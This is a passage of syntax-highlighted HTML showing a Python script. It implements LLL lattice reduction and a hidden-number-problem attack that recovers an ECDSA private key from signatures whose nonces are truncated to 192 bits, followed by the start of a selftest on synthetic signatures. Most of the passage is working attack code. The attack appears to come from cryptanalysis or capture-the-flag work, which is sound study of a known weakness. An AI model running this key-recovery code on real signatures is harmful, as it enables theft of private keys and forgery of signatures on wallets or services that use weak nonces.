<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> j</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>i</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">]:</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>j</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> sum</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">))</span><span style="color: #94E2D5;"> /</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">]</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">):</span><span style="color: #EBA0AC;font-style: italic;"> bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -=</span><span style="color: #EBA0AC;font-style: italic;"> mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>j</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> sum</span><span style="color: #9399B2;">(</span><span>x</span><span style="color: #94E2D5;">*</span><span>x</span><span style="color: #CBA6F7;"> for</span><span> x</span><span style="color: #CBA6F7;"> in</span><span style="color: #EBA0AC;font-style: italic;"> bs</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">])</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> mu</span><span style="color: #9399B2;">,</span><span> B</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> lll</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">basis</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> delta</span><span style="color: #94E2D5;">=</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">99</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 100</span><span style="color: #9399B2;">)):</span></span>
<span class="giallo-l"><span> dim</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">basis</span><span style="color: #9399B2;">[</span><span style="color: #FAB387;font-style: italic;">0</span><span style="color: #9399B2;">])</span></span>
<span class="giallo-l"><span> b</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [[</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>x</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span> x</span><span style="color: #CBA6F7;"> in</span><span> row</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> row</span><span style="color: #CBA6F7;"> in</span><span> basis</span><span style="color: #9399B2;">]</span></span>
<span class="giallo-l"><span> mu</span><span style="color: #9399B2;">,</span><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> gso</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">,</span><span> dim</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 1</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> while</span><span> k</span><span style="color: #94E2D5;"> <</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> j</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> q</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> nint</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">][</span><span>j</span><span style="color: #9399B2;">])</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> q</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">):</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -=</span><span> q</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span></span>
<span class="giallo-l"><span> mu</span><span style="color: #9399B2;">,</span><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> gso</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">,</span><span> dim</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> >=</span><span style="color: #9399B2;"> (</span><span>delta</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> mu</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">][</span><span>k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">**</span><span style="color: #FAB387;">2</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> *</span><span style="color: #EBA0AC;font-style: italic;"> B</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]:</span></span>
<span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> +=</span><span style="color: #FAB387;"> 1</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> else</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">],</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">],</span><span style="color: #EBA0AC;font-style: italic;"> b</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">k</span><span style="color: #9399B2;">]</span></span>
<span class="giallo-l"><span> mu</span><span style="color: #9399B2;">,</span><span> B</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> gso</span><span style="color: #9399B2;">(</span><span>b</span><span style="color: #9399B2;">,</span><span> dim</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> max</span><span style="color: #9399B2;">(</span><span>k</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> b</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── HNP attack ─────────────────────────────────────────────────────────</span></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># Recentering (Breitner–Heninger): k ∈ [0, K) → k = K/2 + e, |e| ≤ K/2,</span></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># s' = (s − K/2) mod n gives e ≡ s' + r·d (mod n). Halves the target norm —</span></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># critical at the m=4 information-theoretic boundary.</span></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># Target short vector: (e_1..e_m, K'·d/n, K'), K' = 2^191.</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> hnp_attack</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">sigs</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> pub</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> bound_bits</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">192</span><span style="color: #9399B2;">,</span><span style="color: #EBA0AC;font-style: italic;"> verbose</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">True</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> m</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>sigs</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> K0</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 1</span><span style="color: #94E2D5;"> <<</span><span> bound_bits</span></span>
<span class="giallo-l"><span> K</span><span style="color: #94E2D5;"> =</span><span> K0</span><span style="color: #94E2D5;"> //</span><span style="color: #FAB387;"> 2</span></span>
<span class="giallo-l"><span> sigs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [(</span><span>r</span><span style="color: #9399B2;">, (</span><span>s</span><span style="color: #94E2D5;"> -</span><span> K0</span><span style="color: #94E2D5;"> //</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span style="color: #9399B2;"> (</span><span>r</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> in</span><span> sigs</span><span style="color: #9399B2;">]</span><span style="color: #9399B2;font-style: italic;"> # recenter</span></span>
<span class="giallo-l"><span> dim</span><span style="color: #94E2D5;"> =</span><span> m</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 2</span></span>
<span class="giallo-l"><span> basis</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> []</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>m</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> row</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)]</span><span style="color: #94E2D5;">*</span><span>dim; </span><span style="color: #EBA0AC;font-style: italic;">row</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span>N</span><span style="color: #9399B2;">)</span><span>; basis</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">(</span><span>row</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> basis</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">([</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>r</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span style="color: #9399B2;"> (</span><span>r</span><span style="color: #9399B2;">,</span><span> _</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> in</span><span> sigs</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>K</span><span style="color: #9399B2;">,</span><span> N</span><span style="color: #9399B2;">),</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">)])</span></span>
<span class="giallo-l"><span> basis</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">append</span><span style="color: #9399B2;">([</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span>s</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> for</span><span style="color: #9399B2;"> (</span><span>_</span><span style="color: #9399B2;">,</span><span> s</span><span style="color: #9399B2;">)</span><span style="color: #CBA6F7;"> in</span><span> sigs</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #9399B2;"> [</span><span style="color: #89B4FA;">Fraction</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">),</span><span style="color: #89B4FA;"> Fraction</span><span style="color: #9399B2;">(</span><span>K</span><span style="color: #9399B2;">)])</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> verbose</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span> gap</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">256</span><span style="color: #94E2D5;">*</span><span style="color: #9399B2;">(</span><span>m</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 2</span><span style="color: #94E2D5;">*</span><span>bound_bits</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> /</span><span> dim</span><span style="color: #94E2D5;"> -</span><span> bound_bits</span><span style="color: #94E2D5;"> +</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;font-style: italic;"> # +1 from recentering</span></span>
<span class="giallo-l"><span style="color: #FAB387;font-style: italic;"> print</span><span style="color: #9399B2;">(</span><span style="color: #A6E3A1;font-style: italic;">f</span><span style="color: #A6E3A1;">"[*] lattice dim=</span><span style="color: #F5C2E7;">{</span><span>dim</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">, |e|≤2^</span><span style="color: #F5C2E7;">{</span><span>bound_bits</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">1</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">, est. gap ≈ 2^</span><span style="color: #F5C2E7;">{</span><span>gap</span><span style="color: #CBA6F7;">:.1f</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;"> "</span></span>
<span class="giallo-l"><span style="color: #A6E3A1;font-style: italic;"> f</span><span style="color: #A6E3A1;">"(</span><span style="color: #F5C2E7;">{</span><span style="color: #A6E3A1;">'comfortable'</span><span style="color: #CBA6F7;"> if</span><span> gap</span><span style="color: #94E2D5;"> ></span><span style="color: #FAB387;"> 4</span><span style="color: #CBA6F7;"> else</span><span style="color: #A6E3A1;"> 'BORDERLINE — more sigs advised'</span><span style="color: #CBA6F7;"> if</span><span> gap</span><span style="color: #94E2D5;"> ></span><span style="color: #FAB387;"> 0</span><span style="color: #CBA6F7;"> else</span><span style="color: #A6E3A1;"> 'likely too small'</span><span style="color: #F5C2E7;">}</span><span style="color: #A6E3A1;">)"</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> red</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> lll</span><span style="color: #9399B2;">(</span><span>basis</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> def</span><span style="color: #89B4FA;font-style: italic;"> try_vec</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">v</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span style="color: #FAB387;font-style: italic;"> abs</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">v</span><span style="color: #9399B2;">[</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">])</span><span style="color: #94E2D5;"> !=</span><span> K</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span>
<span class="giallo-l"><span> sign</span><span style="color: #94E2D5;"> =</span><span style="color: #FAB387;"> 1</span><span style="color: #CBA6F7;"> if</span><span style="color: #EBA0AC;font-style: italic;"> v</span><span style="color: #9399B2;">[</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">1</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> ==</span><span> K</span><span style="color: #CBA6F7;"> else</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span></span>
<span class="giallo-l"><span> d_frac</span><span style="color: #94E2D5;"> =</span><span style="color: #EBA0AC;font-style: italic;"> v</span><span style="color: #9399B2;">[</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;font-style: italic;">2</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> *</span><span> sign</span><span style="color: #94E2D5;"> *</span><span> N</span><span style="color: #94E2D5;"> /</span><span> K</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d_frac</span><span style="color: #9399B2;">.</span><span>denominator</span><span style="color: #94E2D5;"> !=</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span>
<span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;font-style: italic;"> int</span><span style="color: #9399B2;">(</span><span>d_frac</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> %</span><span> N</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span> d</span><span style="color: #CBA6F7;"> if</span><span style="color: #89B4FA;"> mul</span><span style="color: #9399B2;">(</span><span>d</span><span style="color: #9399B2;">)</span><span style="color: #94E2D5;"> ==</span><span> pub</span><span style="color: #CBA6F7;"> else</span><span style="color: #FAB387;"> None</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"> # candidates: basis vectors, ±pairs, then small combos of the 3 shortest</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> v</span><span style="color: #CBA6F7;"> in</span><span> red</span><span style="color: #9399B2;">:</span></span>
<span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> try_vec</span><span style="color: #9399B2;">(</span><span>v</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> d</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;font-style: italic;">len</span><span style="color: #9399B2;">(</span><span>red</span><span style="color: #9399B2;">)):</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> j</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>i</span><span style="color: #94E2D5;">+</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;font-style: italic;"> len</span><span style="color: #9399B2;">(</span><span>red</span><span style="color: #9399B2;">)):</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> w</span><span style="color: #CBA6F7;"> in</span><span style="color: #9399B2;"> ((</span><span style="color: #EBA0AC;font-style: italic;">red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> +</span><span style="color: #EBA0AC;font-style: italic;"> red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">)),</span></span>
<span class="giallo-l"><span style="color: #9399B2;"> (</span><span style="color: #EBA0AC;font-style: italic;">red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">i</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;"> -</span><span style="color: #EBA0AC;font-style: italic;"> red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">j</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">))):</span></span>
<span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> try_vec</span><span style="color: #9399B2;">(</span><span style="color: #CBA6F7;font-style: italic;">list</span><span style="color: #9399B2;">(</span><span>w</span><span style="color: #9399B2;">))</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> d</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> import</span><span> itertools</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> cf</span><span style="color: #CBA6F7;"> in</span><span> itertools</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">product</span><span style="color: #9399B2;">((</span><span style="color: #94E2D5;">-</span><span style="color: #FAB387;">2</span><span style="color: #9399B2;">,</span><span style="color: #94E2D5;"> -</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 2</span><span style="color: #9399B2;">),</span><span style="color: #EBA0AC;font-style: italic;"> repeat</span><span style="color: #94E2D5;">=</span><span style="color: #FAB387;">3</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> cf</span><span style="color: #94E2D5;"> ==</span><span style="color: #9399B2;"> (</span><span style="color: #FAB387;">0</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 0</span><span style="color: #9399B2;">):</span><span style="color: #CBA6F7;"> continue</span></span>
<span class="giallo-l"><span> v</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> [</span><span style="color: #FAB387;font-style: italic;">sum</span><span style="color: #9399B2;">(</span><span style="color: #EBA0AC;font-style: italic;">cf</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">t</span><span style="color: #9399B2;">]</span><span style="color: #94E2D5;">*</span><span style="color: #EBA0AC;font-style: italic;">red</span><span style="color: #9399B2;">[</span><span style="color: #EBA0AC;font-style: italic;">t</span><span style="color: #9399B2;">][</span><span>c</span><span style="color: #9399B2;">]</span><span style="color: #CBA6F7;"> for</span><span> t</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">3</span><span style="color: #9399B2;">))</span><span style="color: #CBA6F7;"> for</span><span> c</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span>dim</span><span style="color: #9399B2;">)]</span></span>
<span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> try_vec</span><span style="color: #9399B2;">(</span><span>v</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> if</span><span> d</span><span style="color: #CBA6F7;"> is not</span><span style="color: #FAB387;"> None</span><span style="color: #9399B2;">:</span><span style="color: #CBA6F7;"> return</span><span> d</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> return</span><span style="color: #FAB387;"> None</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: #9399B2;font-style: italic;"># ─── selftest: synthetic truncated-k signatures ─────────────────────────</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;">def</span><span style="color: #89B4FA;font-style: italic;"> selftest</span><span style="color: #9399B2;">():</span></span>
<span class="giallo-l"><span> random</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">seed</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">1337</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> d</span><span style="color: #94E2D5;"> =</span><span style="color: #CBA6F7;"> 0x</span><span style="color: #FAB387;">1dcb3d7f8a4e5c6b9f0a2d3c4b5e6f708192a3b4c5d6e7f8091a2b3c4d5e6f7</span></span>
<span class="giallo-l"><span> P</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> mul</span><span style="color: #9399B2;">(</span><span>d</span><span style="color: #9399B2;">)</span></span>
<span class="giallo-l"><span> sigs</span><span style="color: #94E2D5;"> =</span><span style="color: #9399B2;"> []</span></span>
<span class="giallo-l"><span style="color: #CBA6F7;"> for</span><span> i</span><span style="color: #CBA6F7;"> in</span><span style="color: #FAB387;font-style: italic;"> range</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">6</span><span style="color: #9399B2;">):</span></span>
<span class="giallo-l"><span> k</span><span style="color: #94E2D5;"> =</span><span> random</span><span style="color: #9399B2;">.</span><span style="color: #89B4FA;">randrange</span><span style="color: #9399B2;">(</span><span style="color: #FAB387;">1</span><span style="color: #9399B2;">,</span><span style="color: #FAB387;"> 1</span><span style="color: #94E2D5;"> <<</span><span style="color: #FAB387;"> 192</span><span style="color: #9399B2;">)</span><span style="color: #9399B2;font-style: italic;"> # truncated nonce (64 zero MSBs)</span></span>
<span class="giallo-l"><span> Q</span><span style="color: #94E2D5;"> =</span><span style="color: #89B4FA;"> mul</span><span style="color: #9399B2;">(</span><span>k</span><span style="color: #9399B2;">)</span></span>
